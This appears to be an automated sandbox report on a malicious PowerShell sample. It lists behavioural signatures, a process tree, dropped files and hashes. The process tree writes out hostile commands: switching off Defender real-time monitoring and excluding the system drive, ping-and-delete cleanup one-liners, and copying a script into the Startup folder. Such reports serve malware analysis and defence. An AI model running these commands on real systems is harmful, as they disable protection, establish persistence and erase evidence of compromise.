Analysis

  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 18:24

General

  • Target
    jdszm.ps1
  • Size 20KB
  • Sample260910-w15prswygz
  • SHA256 7cb05ded7feb53c62f1d263314ac4822f333aead4becafb5aa09ba6ce7b36beb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 12 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 24 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\jdszm.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /release
      2⤵
      • Gathers network information
      PID:4344
    • C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /renew
      2⤵
      • Gathers network information
      PID:2984
    • C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" winsock reset
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:1428
    • C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" int ip reset
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:5084
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pe4yr0r5\pe4yr0r5.cmdline"
      2⤵
        PID:4360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\wvnkq_01.ps1
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778706846.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1684
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3252
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4448
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4875.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3464
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi489c.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:384
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4875.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4316
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui489c.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2932
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\jdszm.ps1"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:360
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1288
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ssjvw.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4312
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2144
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wvnkq_01.ps1"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4748
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4828
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wywhs.txt"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2640
          • C:\Windows\system32\PING.EXE
            ping 127.0.0.1 -n 1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1672
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c del "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js"
          3⤵
            PID:2804
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c del "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js"
            3⤵
              PID:4572
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c del "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js"
              3⤵
                PID:4444
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IP47422703896_20260907_075158_1056f713df.js"
                3⤵
                • Executes a command shell one-liner
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:4068
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 1
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:3832
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c ping 127.0.0.1 -n C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js & del "1"
                3⤵
                • Executes a command shell one-liner
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:1768
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:4696
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c del "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js"
                3⤵
                  PID:4220
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mfqtz_01.ps1"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:652
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ulyws_02.ps1"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1044
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\tfwbe.ps1"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4012
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c del "C:\Users\Ivan\Desktop\IP47422703896_20260907_075158_1056f713df.js"
                  3⤵
                    PID:2936

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 948B
                    • SHA256 d4cf763691d6f229547b619dd26ea7418d9e9c143a116b650489482741f33ad0
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 a907aa02c8a2b871005a51ce38b9dd2a955e9d2a3f7ed050bbc6281fb39442a2
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 5599f4a86f6ef1e750cf748809de82241ab9f65e1762f402c6b65b6de3bd1b2e
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 2a61fbb0f11e5c00ff36668aa9c758950a27d7ea9414d877de4ebe260392f602
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_nxm0dq20.3m2.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxm0dq20.3m2.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    mfqtz_01.ps1

                    • Path C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mfqtz_01.ps1
                    • Size 423B
                    • SHA256 7ef862b2472fe95aba3d34e6327b33a2c014fff471832580999ea4aafa28f1b2
                    • MD5 SHA1 SHA512 TLSH

                    tfwbe.ps1

                    • Path C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\tfwbe.ps1
                    • Size 23.0MB
                    • SHA256 c401cc93cd1ca35c52021e3106918751d2867a0057cf9d65daa1957aae4466dd
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    ulyws_02.ps1

                    • Path C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ulyws_02.ps1
                    • Size 633B
                    • SHA256 f896a4fe93df57c9bc3319952ce603e75bd64091bbd6745432c395aac22f9e63
                    • MD5 SHA1 SHA512 TLSH

                    executexx.txt

                    • Path C:\Users\Admin\executexx.txt
                    • Size 225B
                    • SHA256 dffbfcd8cf94103e2e2fd99132afea1dcb58c9acd3c94a65c1a5dea98d9c309c
                    • MD5 SHA1 SHA512 TLSH

                    wvnkq_01.ps1

                    • Path C:\Users\Public\wvnkq_01.ps1
                    • Size 1KB
                    • SHA256 a06aabff92d8c3c80b8e6061b661cb5b82654afe0322516f5a593cc65cdc68fa
                    • MD5 SHA1 SHA512 TLSH

                    wywhs.txt

                    • Path C:\Users\Public\wywhs.txt
                    • Size 27.1MB
                    • SHA256 4b331dfe0b421c7ee042d95b88bd38b8a07fca214c2eb1cc6bf5e30fdfba558f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    pe4yr0r5.0.cs

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\pe4yr0r5\pe4yr0r5.0.cs
                    • Size 451B
                    • SHA256 60067dd22c122f276ea5922ef351e37ceb4dc3d16eda823d7854a6e4e19918f1
                    • MD5 SHA1 SHA512 TLSH

                    pe4yr0r5.cmdline

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\pe4yr0r5\pe4yr0r5.cmdline
                    • Size 369B
                    • SHA256 a6942d9698363d3de49a850b1ed414381aaea98e793744b745bc865d379d0e9a
                    • MD5 SHA1 SHA512 TLSH

                    ssjvw.txt

                    • Path \??\c:\users\public\ssjvw.txt
                    • Size 41B
                    • SHA256 8d10b0e3399a0ed5bbc165a438d16f1fff99c3a6d4122c7165a2c7246f9c8570
                    • MD5 SHA1 SHA512

                    memory/3780-32-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-20-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-19-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-1-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-10-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-0-0x0000021C2DD70000-0x0000021C2DD80000-memory.dmp

                    memory/3780-4-0x0000021C2DD20000-0x0000021C2DD42000-memory.dmp

                    memory/3936-33-0x00000233788B0000-0x0000023378D1C000-memory.dmp

                    memory/3936-34-0x0000023375370000-0x0000023375371000-memory.dmp

                    memory/4012-82-0x0000028E7F700000-0x0000028E7FAC4000-memory.dmp